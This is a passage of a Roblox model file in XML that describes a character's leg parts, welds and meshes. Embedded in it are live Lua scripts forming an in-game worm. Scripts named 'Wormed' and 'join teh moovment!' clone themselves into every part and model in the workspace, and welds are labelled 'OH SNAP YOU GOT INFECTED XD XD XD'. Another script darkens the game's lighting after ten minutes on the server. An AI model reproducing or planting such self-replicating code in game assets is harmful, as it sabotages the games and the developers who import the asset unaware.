			local helmet = c:findFirstChild(&quot;Samurai&quot;)
			if (helmet == nil and c:findFirstChild(&quot;NoHelmet&quot;) == nil) then
				noHelmet(c)
			end
		end
	end
end

function nosamurai()
	while(true) do
		wait(3)
		checkHelmets()
	end
end

if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
	nosamurai()
	wait(600)
	game.Lighting.TimeOfDay = &quot;00:00:00&quot;
	game.Lighting.Brightness = 0
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX501">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">0mbyrb6</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX502">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">join teh moovment!</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;No samurai plzzz&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX503">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">5hsppzvl</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX504">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">x2mdg</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX505">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">tefqwy3he</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX506">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Leg2</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX507">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">evbgxllxo</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX508">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1016</int>
						<CoordinateFrame name="CFrame">
							<X>78.4999695</X>
							<Y>2.39989638</Y>
							<Z>16.4999847</Z>
							<R00>-0.980785191</R00>
							<R01>0.195090875</R01>
							<R02>3.6211236e-006</R02>
							<R10>-0.195090875</R10>
							<R11>-0.980785191</R11>
							<R12>8.04985234e-007</R12>
							<R20>3.70858925e-006</R20>
							<R21>8.30694162e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX509">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.699999988</X>
								<Y>2</Y>
								<Z>1.29999995</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX510">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX511">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX512">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX513">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX514">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX515">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>78.5</X>
							<Y>1.80000007</Y>
							<Z>16.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sock</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX516">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.29999995</X>
								<Y>2</Y>
								<Z>1.29999995</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX517">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX518">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX519">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX520">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX521">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX522">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>78.5</X>
							<Y>1.20000005</Y>
							<Z>16.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX523">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX524">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX525">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX526">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX527">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX528">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>78.5</X>
							<Y>1.20000005</Y>
							<Z>15.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX529">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX530">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX531">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX532">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX533">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX534">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1011</int>
						<CoordinateFrame name="CFrame">
							<X>78.4999695</X>
							<Y>1.99998879</Y>
							<Z>16.5091095</Z>
							<R00>1</R00>
							<R01>-3.9898697e-007</R01>
							<R02>3.62112019e-006</R02>
							<R10>3.989839e-007</R10>
							<R11>1</R11>
							<R12>8.39218046e-007</R12>
							<R20>-3.62112041e-006</R20>
							<R21>-8.39216625e-007</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
